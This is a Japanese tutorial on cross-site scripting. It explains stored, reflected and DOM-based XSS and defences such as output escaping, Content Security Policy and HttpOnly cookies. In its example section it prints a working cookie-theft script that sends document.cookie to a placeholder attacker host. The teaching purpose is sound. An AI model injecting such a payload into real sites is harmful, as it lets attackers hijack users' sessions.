Cross-Site Scripting (XSS)
クロスサイト・スクリプティング(Cross-Site Scripting、略称 XSS)は、Webアプリケーションの脆弱性の一つです。攻撃者が悪意のあるスクリプト(主にJavaScript)をWebページに注入し、それを閲覧した他のユーザーのブラウザ上でスクリプトを実行させる攻撃手法を指します。
XSS攻撃が成功すると、ユーザーのセッション情報(クッキー)の窃取、個人情報の詐取、Webサイトの表示の改ざん、マルウェアの配布など、多岐にわたる被害が発生する可能性があります。
XSSの主な種類
XSSは、スクリプトがどのようにしてユーザーのブラウザに到達するかに応じて、主に3つのタイプに分類されます。
1. 格納型XSS (Stored XSS)
攻撃者が注入した悪意のあるスクリプトが、Webサーバーのデータベースやファイルシステムに「格納」されるタイプです。脆弱性のあるWebページ(例: 掲示板、コメント欄、ユーザープロフィール欄)にアクセスしたすべてのユーザーが、そのスクリプトを実行してしまい、被害が広範囲に及ぶ可能性があります。
- 攻撃の流れ:
- 1. 攻撃者が掲示板にスクリプトを含む投稿を行う。
- 2. サーバーがその投稿(スクリプト)をデータベースに保存する。
- 3. 他のユーザーがその掲示板を閲覧する。
- 4. サーバーがデータベースからスクリプトを読み込み、HTMLに含めてユーザーに送信する。
- 5. ユーザーのブラウザがそのスクリプトを実行し、被害が発生する(例: クッキーが盗まれる)。
2. 反射型XSS (Reflected XSS)
攻撃者が悪意のあるスクリプトをURLのパラメータなどに含めて作成し、そのURLをメールやSNSでユーザーにクリックさせるタイプです。スクリプトはサーバーに保存されず、リクエストに含まれたスクリプトが、サーバーの応答(例: 検索結果ページ)に「反射」される形でそのままユーザーに返され、実行されます。
- 攻撃の流れ:
- 1. 攻撃者が、検索クエリなどにスクリプトを仕込んだURLを作成する。 (例:
http://example.com/search?q=<script>...</script>) - 2. 攻撃者がそのURLをユーザーにクリックさせる。
- 3. ユーザーのブラウザが、スクリプトを含むURLでサーバーにリクエストを送信する。
- 4. サーバーが、URL内のスクリプトを検索結果ページ(例: 「`<script>...</script>` の検索結果はありません」)に埋め込んだままHTMLを生成し、応答する。
- 5. ユーザーのブラウザが応答HTML内のスクリプトを実行し、被害が発生する。
3. DOMベースXSS (DOM-based XSS)
サーバー側の処理とは無関係に、ブラウザ(クライアント側)で動作するJavaScriptが、URLのフラグメント(`#`以降)などを不適切に処理することによって発生するタイプです。サーバーはスクリプトの存在を関知せず、ブラウザ内部(DOM)だけで攻撃が完結します。
攻撃の例と対策
最も一般的で危険な攻撃の一つが、セッションクッキーの窃取です。
攻撃スクリプトの例(クッキー窃取)
攻撃者が以下のようなスクリプトを掲示板に投稿したとします(格納型XSS)。
<script>
// ユーザーのクッキー情報を取得し、攻撃者のサーバーへ送信する
document.location = 'http://attacker-site.com/steal.php?cookie=' + document.cookie;
</script>
この投稿を閲覧した他のユーザー(特に管理者)のブラウザがこのスクリプトを実行すると、そのユーザーのセッションクッキーが攻撃者のサーバーに送信されてしまいます。攻撃者はそのクッキーを使い、ユーザーになりすましてログイン(セッションハイジャック)することが可能になります。
対策
XSSを防ぐためには、Webアプリケーション側で以下の対策を講じる必要があります。
1. エスケープ(サニタイズ)処理
ユーザーからの入力をWebページに出力する際に、HTMLタグとして解釈される可能性のある特殊文字(`<`, `>`, `&`, `"`, `'` など)を、無害な文字列(HTMLエンティティ)に変換(エスケープ)します。
// PHPでのエスケープ処理の例
// <script> は <script> に変換される
echo htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8');
2. Content Security Policy (CSP) の設定
サーバーがHTTPレスポンスヘッダでCSPを設定することにより、ブラウザが読み込んでもよいスクリプトのソース(ドメイン)を制限できます。これにより、意図しないドメイン(攻撃者のサーバーなど)からのスクリプト実行や、インラインスクリプトの実行を禁止できます。
3. CookieにHttpOnly属性を付与する
セッションクッキーに `HttpOnly` 属性を設定すると、JavaScript (`document.cookie`) からそのクッキーにアクセスできなくなります。これにより、上記の例のようなスクリプトが実行されても、セッションクッキーが盗まれるのを防ぐことができます。